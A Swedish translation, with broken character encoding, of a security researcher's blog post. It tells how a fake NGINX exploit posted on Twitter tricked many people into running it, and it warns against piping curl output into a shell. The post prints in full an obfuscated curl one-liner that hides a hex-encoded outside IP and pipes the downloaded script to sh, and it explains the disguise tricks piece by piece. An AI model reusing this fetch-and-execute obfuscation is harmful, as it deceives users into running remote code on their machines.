Obs. övers.: I den ursprungliga anteckningen, publicerad den 1 juni, bestĂ€mde jag mig för att genomföra ett experiment i en miljö av intresserade av informationssĂ€kerhet. För detta förberedde jag en falsk exploit för en Ă€nnu icke offentliggjord sĂ„rbarhet i en webbserver och postade den pĂ„ min Twitter. Mina antaganden â att bli genast avslöjad av experter som skulle se den uppenbara bluffen i koden â visade sig inte bara vara felaktiga⊠De övertrĂ€ffade alla förvĂ€ntningar, i motsatt riktning: tweeten fick enormt stöd frĂ„n mĂ„nga mĂ€nniskor som inte tog sig tid att kontrollera innehĂ„llet.

TL;DR: anvÀnd aldrig filpipeline i sh eller bash. Det Àr ett utmÀrkt sÀtt att förlora kontrollen över datorn.
Jag vill dela med mig av en liten historia om en skĂ€mtsamt PoC-exploit som skapades den 31 maj. Den dök snabbt upp som svar pĂ„ nyheten frĂ„n , medlem av (ZDI), om att information om en sĂ„rbarhet i NGINX som leder till RCE (fjĂ€rrkodexekvering) snart skulle offentliggöras. Eftersom NGINX ligger till grund för mĂ„nga webbplatser, borde nyheten ha haft effekten av en bomb. Men pĂ„ grund av förseningar i processen för "ansvarsfull offentliggöring" var detaljerna om hĂ€ndelsen okĂ€nda â sĂ„dan Ă€r standardprocessen för ZDI.

om avslöjandet av en sÄrbarhet i NGINX
NÀr jag avslutade arbetet med en ny teknik för obfuskering i curl, citerade jag den ursprungliga tweeten och "slÀppte en fungerande PoC", bestÄende av en rad kod som pÄstÄs anvÀnda den upptÀckta sÄrbarheten. SjÀlvklart var detta helt nonsens. Jag trodde att jag skulle bli avslöjad direkt, och att jag i bÀsta fall skulle fÄ nÄgra retweets (och det skulle vara okej).

med den falska exploiten
Men jag kunde inte förestÀlla mig vad som skulle hÀnda hÀrnÀst. PopulÀriteten för min tweet sköt i höjden. Otroligt nog, vid den hÀr tidpunkten (15:00 MSK den 1 juni) har fortfarande fÄ insett att detta Àr en bluff. MÄnga retweetar den helt utan kontroll (för att inte tala om att njuta av den vackra ASCII-grafiken som den visar).

Titta bara pÄ vilken skönhet!
Ăven om alla dessa cykler och fĂ€rger Ă€r fantastiska, Ă€r det uppenbart: för att se dem, körde folk koden pĂ„ sina maskiner. Lyckligtvis fungerar webblĂ€sare pĂ„ liknande sĂ€tt, och med det faktum att jag inte behöver nĂ„gra lagliga problem, gjorde koden gömd pĂ„ min webbplats bara echo-anrop, utan att försöka installera eller köra nĂ„gon ytterligare kod.
En liten avstickare: , , jag och killarna i teamet har under en tid lekt med olika sÀtt att obfuscera curl-kommandon, för att det Àr roligt⊠och vi Àr nördar. netspooky och dnz har upptÀckt nÄgra nya sÀtt som verkade mycket lovande. Jag gick med i nöjet och försökte lÀgga till IP-decimala konverteringar till trickset. Det visade sig att IP Àven kan konverteras till hexadecimalt format. Dessutom gillar curl och de flesta andra NIX-verktyg att "Àta" hexadecimala IP! SÄ det var helt enkelt nödvÀndigt att skapa en övertygande och sÀkert utseende kommandorad. Till slut fastnade jag för denna:
curl -gsS https://127.0.0.1-OR-VICTIM-SERVER:443/../../..//nginx-handler?/usr/lib/nginx/modules/ngx_stream_module.so:127.0.0.1:80:/bin/sh<'protocol:TCP' -O 0x0238f06a#PLToffset |sh; nc /dev/tcp/localhostSocial engineering (S.E.E.) â mer Ă€n bara phishing
SÀkerhet och bekantskap var en central del av detta experiment. Jag tror att det var just dessa faktorer som bidrog till dess framgÄng. Kommandoraden antydde tydligt sÀkerhet, genom att referera till "127.0.0.1" (den vÀlkÀnda localhost). Det anses att localhost Àr sÀkert, och att data dÀr aldrig lÀmnar din dator.
Bekantskap var den andra nyckelkomponenten i S.E.E. i experimentet. Eftersom mÄlgruppen huvudsakligen bestod av personer som var bekanta med grunderna i datorsÀkerhet, var det viktigt att skapa kod vars delar verkade bekanta och vÀlkÀnda (och dÀrför sÀkra). Att lÄna element frÄn gamla exploits-koncept och kombinera dem pÄ ett ovanligt sÀtt visade sig vara mycket framgÄngsrikt.
Nedan följer en detaljerad genomgÄng av enradaren. Allt i denna lista Àr kosmetiskt, och praktiskt taget ingenting krÀvs för dess verkliga funktion.
Vilka komponenter Àr faktiskt nödvÀndiga? Det Àr -gsS, -O 0x0238f06a, |sh och sjÀlva webbservern. Webbservern innehöll inga skadliga instruktioner, utan överförde bara ASCII-grafik med hjÀlp av kommandon echo i skriptet som finns i index.html. NÀr en anvÀndare angav en strÀng med |sh i mitten, index.html laddades och exekverades. Lyckligtvis hade webbserverns förvaltare inga onda avsikter.
-
../../../%00â illustrerar en utgĂ„ng utanför katalogen; -
ngx_stream_module.soâ sökvĂ€gen till en slumpmĂ€ssig NGINX-modul; -
/bin/sh%00<'protocol:TCP'â vi pĂ„stĂ„s köra/bin/shpĂ„ mĂ„lmaskinen och omdirigera utdata till en TCP-kanal; -
-O 0x0238f06a#PLToffsetâ hemlig ingrediens, tillagd#PLToffset, för att se ut som ett minnesoffset som pĂ„ nĂ„got sĂ€tt finns i PLT; -
|sh;â ytterligare en viktig komponent. Vi behövde omdirigera utdata till sh/bash för att köra koden som kom frĂ„n den angripande webbservern, som lĂ„g pĂ„ adressen0x0238f06a(2.56.240.x); -
nc /dev/tcp/localhostâ en dummy som netcat refererar till/dev/tcp/localhost, sĂ„ att allt Ă„terigen sĂ„g sĂ€kert ut. I sjĂ€lva verket gör den inget och Ă€r inkluderad i strĂ€ngen för estetiska syften.
HÀr slutar avkodningen av enradsskriptet och diskussionen av aspekter av "socionÀrlig teknik" (komplex phishing).
Webbserverns konfiguration och motÄtgÀrder
Eftersom en övervÀldigande majoritet av mina följare Àr informationssÀkerhetsspecialister/hackare har jag beslutat att göra webbservern lite mer motstÄndskraftig mot "intresse" frÄn deras sida, bara för att ge killarna nÄgot att syssla med (och det var ocksÄ roligt att konfigurera den). Jag tÀnker inte hÀr lista alla fÀllor, eftersom experimentet fortfarande pÄgÄr, men hÀr Àr nÄgra saker som servern gör:
- Aktivt övervakar försök att sprida sig pÄ vissa sociala nÀtverk och infogar olika förhandsgranskningar för att uppmuntra anvÀndaren att klicka pÄ lÀnken.
- Omdirigerar Chrome/Mozilla/Safari/etc. till Thugcrowds reklamfilm istÀllet för att visa shell-skriptet.
- HÄller koll pÄ UTVECKLADE tecken pÄ intrÄng/brutalt hackande, varefter den börjar omdirigera förfrÄgningar till NSA-servrar (ha!).
- Installerar en trojan samt en BIOS rootkit pÄ alla datorer vars anvÀndare besöker vÀrden med en vanlig webblÀsare (skÀmt!).

En liten del av antimaterialet
I det hÀr fallet var mitt enda mÄl att utforska vissa funktioner i Apache - sÀrskilt coola regler för att omdirigera förfrÄgningar, - och jag tÀnkte: varför inte?
Exploitable NGINX (verklig!)
Följ pÄ Twitter och hÄll dig uppdaterad om det fantastiska arbetet frÄn ZDI med att ÄtgÀrda verkliga sÄrbarheter och exploateringsmöjligheter i NGINX. Deras arbete har alltid fascinerat mig och jag Àr tacksam mot Alisa för tÄlamodet med alla omnÀmnanden och aviseringar som orsakades av min dumma tweet. Som tur Àr bidrog det ocksÄ med nÄgot positivt: det ökade medvetenheten om sÄrbarheterna i NGINX samt problemen som orsakas av missbruk av curl.
KĂ€lla: habr.com
